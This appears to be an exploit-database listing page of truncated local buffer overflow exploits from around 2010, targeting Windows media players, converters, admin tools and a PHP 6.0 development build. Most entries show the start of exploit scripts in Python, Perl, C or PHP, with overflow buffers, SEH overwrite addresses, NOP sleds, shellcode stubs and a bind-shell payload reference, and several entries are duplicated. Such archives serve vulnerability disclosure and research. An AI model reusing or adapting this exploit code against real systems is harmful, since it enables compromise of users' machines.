OtsTurntables 1.00.048 - .m3u.ofl Local Buffer Overflow (SEH)

OtsTurntables 1.00.048 - .m3u.ofl Local Buffer Overflow SEH Exploit Title: OTSTurntables 1.00.028 m3u/ofl Local BOF Exploit SEH Date: 11/24/2010 Author: 0v3r Software Link: http://www.otsturntables.com/download-otsturntables-free/ Version: 1.00.048 Tested on: Windows XP SP3 EN CVE: N/A...

MiniShare 1.5.5 - 'users.txt' Local Buffer Overflow (Egghunter)

Exploit Title: Minishare 1.5.5 Buffer Overflow Vulnerability users.txt - EggHunter Version Date: 11/19/2010 Author: 0v3r Bug Found By: Chris Gabriel Software Link: http://sourceforge.net/projects/minishare Version: 1.5.5 Tested on: Windows XP SP3 EN CVE: N/A !/usr/bin/python Just rewrote the...

Realtek HD Audio Control Panel 2.1.3.2 - Local Buffer Overflow

Realtek HD Audio Control Panel 2.1.3.2 - Local Buffer Overflow done by BraniX www.hackers.org.pl found: 2010.08.24 tested on: Windows XP SP3 Home Edition SafeSEH bypass App. has classic buffer overflow vulnerability it can be triggered by passing a too long argument as a startup parameter...

MiniShare 1.4.0 < 1.5.5 - 'users.txt' Local Buffer Overflow

Exploit Title: Minishare 1.5.5 Buffer Overflow Vulnerability users.txt Date: 11/02/2010 Author: Chris Gabriel Software Link: http://sourceforge.net/projects/minishare Version: 1.4.0 - 1.5.5 Tested on: Windows XP SP3 EN CVE: MessageBoxA TITLE=HAX TEXT=HAX WIN XP SP3 Shellcode...

Honestech VHS to DVD 3.0.30 Deluxe - Local Buffer Overflow (SEH)

!/usr/bin/python Exploit Title: Honestech VHS to DVD \r\n\ \r\n\ MAINDLG\r\n\ PAGE=0\r\n\ \r\n\ AVICODEC\r\n\ VIDEOCODEC=DivX 6.8.5 Codec 2 Logical CPUs\r\n\ AUDIOCODEC=MPEG Layer-3\r\n\ \r\n\ WMVINFO\r\n\ TITLE= \r\n\ AUTHOR= \r\n\ COPYRIGHT= \r\n\ DESCRIPTION= \r\n\ \r\n\ CAPTUREINFO\r\n...

myMP3-Player 3.0 - Local Buffer Overflow

Exploit Title: myMP3-Player 3.0 NOT SEH Overwrite Date: 8 / 8 / 2010 Author: Oh Yaw Theng Software Link: http://www.chip.de/downloads/myMP3-Player-3.013008621.html Version: 3.0 Tested on: Windows XP SP 2 CVE : N / A !/usr/bin/python filename = "crash.m3u" junk = "\x41" 1024 ret = "\x65\x82\xA5\x7...

Mini-stream Ripper 3.1.2.1 - Local Buffer Overflow (DEP Bypass)

Mini-stream Ripper 3.1.2.1 - Local Buffer Overflow DEP Bypass / DISCLAIMER THIS PROGRAM IS NOT INTENDED TO BE USED ON OTHER COMPUTERS AND IT IS DESTINED FOR PERSONAL RESEARCH ONLY!!!! The programs are provided as is without any guarantees or warranty. The author is not responsible for any damage ...

Mini-stream Ripper v3.1.2.1 Buffer Overflow (DEP Bypass)

Exploit for windows platform in category local exploits ======================================================== Mini-stream Ripper v3.1.2.1 Buffer Overflow DEP Bypass ======================================================== / DISCLAIMER THIS PROGRAM IS NOT INTENDED TO BE USED ON OTHER COMPUTERS...

ASX to MP3 Converter 3.1.2.1 - Local Buffer Overflow (SEH)

Exploit Title: ASX to MP3 Converter Version 3.1.2.1 2010-03-30 Local Buffer Overflow SEH Date: nhar essabt 3-7-10 Author: MadjiX Software Link: http://www.mini-stream.net/downloads/ASXtoMP3Converter.exe Version: 3.1.2.1 ‎2010-03-30 Tested on: xp sp3 my $shellcode=...

RM Downloader 3.1.3 - Local Buffer Overflow (SEH)

!/usr/bin/perl RM Downloader 3.1.3 Local stack BOF Download : http://www.mini-stream.net/downloads/RMDownloader.exe By Madjix Dz8athotmaildotcom my $hd = "EXTM3U\n" ; my $jnk="\x41" x 43488 ; my $nseh="\xeb\x06\x90\x90" ; my $seh="\x16\xBE\x87\x7C" ; my $nops = "\x90" x 24 ; my $shellcode=...

RM Downloader 3.1.3 - Local Buffer Overflow (SEH)

RM Downloader 3.1.3 - Local Buffer Overflow SEH !/usr/bin/perl RM Downloader 3.1.3 Local stack BOF Download : http://www.mini-stream.net/downloads/RMDownloader.exe By Madjix Dz8athotmaildotcom my $hd = "EXTM3U\n" ; my $jnk="\x41" x 43488 ; my $nseh="\xeb\x06\x90\x90" ; my $seh="\x16\xBE\x87\x7C" ...

FoxPlayer 2 - '.m3u' Local Buffer Overflow (PoC)

Exploit Title : FoxPlayer 2 .m3u Local BOF PoC download : http://www.foxmediatools.com/products/foxplayer.html tested on windows xp SP 3 FR Author: MadjiX - Dz8athotmaildotcom Special Greets: Bibi-info , His0k4 my $file= "MadjiX.m3u"; my $junk1= "\x41" x 100000 ; open$FILE,"$file"; print $FILE...

FoxPlayer 2 - .m3u Local Buffer Overflow (PoC)

FoxPlayer 2 - .m3u Local Buffer Overflow PoC Exploit Title : FoxPlayer 2 .m3u Local BOF PoC download : http://www.foxmediatools.com/products/foxplayer.html tested on windows xp SP 3 FR Author: MadjiX - Dz8athotmaildotcom Special Greets: Bibi-info , His0k4 my $file= "MadjiX.m3u"; my $junk1= "\x41"...

Power Tab Editor 1.7 (Build 80) - Local Buffer Overflow

Exploit Title : Power Tab Editor v1.7 Build 80 Date : 07/06/2010 Author : Sud0 Bug found by : Sud0 Software Link : http://www.power-tab.net/guitar.php Version : v1.7 Build 80 OS : Windows Tested on : XP SP3 En VirtualBox Type of vuln : EIP / SEH Thanks to my wife for her support Congratz to marko...

PhotoFiltre Studio X - '.tif' Local Buffer Overflow

include define fisier FILE define ALOCtip,n tipmallocsizeoftipn define VER "10.3.0" define POCNAME "PhotoFiltre Studio X .tif file local buffer overflow poc0day" define AUTHOR "fl0 fl0w" typedef char i8; typedef short i16; typedef int i32; void genrandomi8,const int; void printi8; i32...

IDEAL Migration 2009 4.5.1 - Local Buffer Overflow

IDEAL Migration 2009 4.5.1 - Local Buffer Overflow !/usr/bin/env python IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit Found By: DrIDE Usage: Right Click First Element in tree - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 windows/shellbindtcp...

IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit

Exploit for windows platform in category local exploits ========================================================= IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit ========================================================= !/usr/bin/env python IDEAL Migration 2009 v4.5.1 Local Buffer...

IDEAL Administration 2010 10.2 - Local Buffer Overflow

!/usr/bin/env python IDEAL Administration 2010 v10.2 Local Buffer Overflow Exploit Found By: DrIDE Usage: Migrate - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 windows/shellbindtcp - 696 bytes Encoder: x86/alphamixed EXITFUNC=seh, LPORT=4444 sc =...

PHP 6.0 Dev - str_transliterate() Local Buffer Overflow (NX + ASLR Bypass)

PHP 6.0 Dev - strtransliterate Local Buffer Overflow NX + ASLR Bypass whoami whoami nt authority\system / errorreporting0; $bases = $GET'poss'; $basee = $GET'pose'; $offs = $GET'offs'; $offe = $GET'offe'; ifinigetbool'unicode.semantics' $buff = strrepeat"\u4141", 32; $tbp = "\u2650\u6EE5"; //...

PHP 6.0 Dev - 'str_transliterate()' Local Buffer Overflow (NX + ASLR Bypass)

whoami whoami nt authority\system / errorreporting0; $bases = $GET'poss'; $basee = $GET'pose'; $offs = $GET'offs'; $offe = $GET'offe'; ifinigetbool'unicode.semantics' $buff = strrepeat"\u4141", 32; $tbp = "\u2650\u6EE5"; // 6EE52650 ADDRESS TO BE PATCHED BY WPM $ptw = "\u2FE0\u6EE5"; // 6EE52FE0...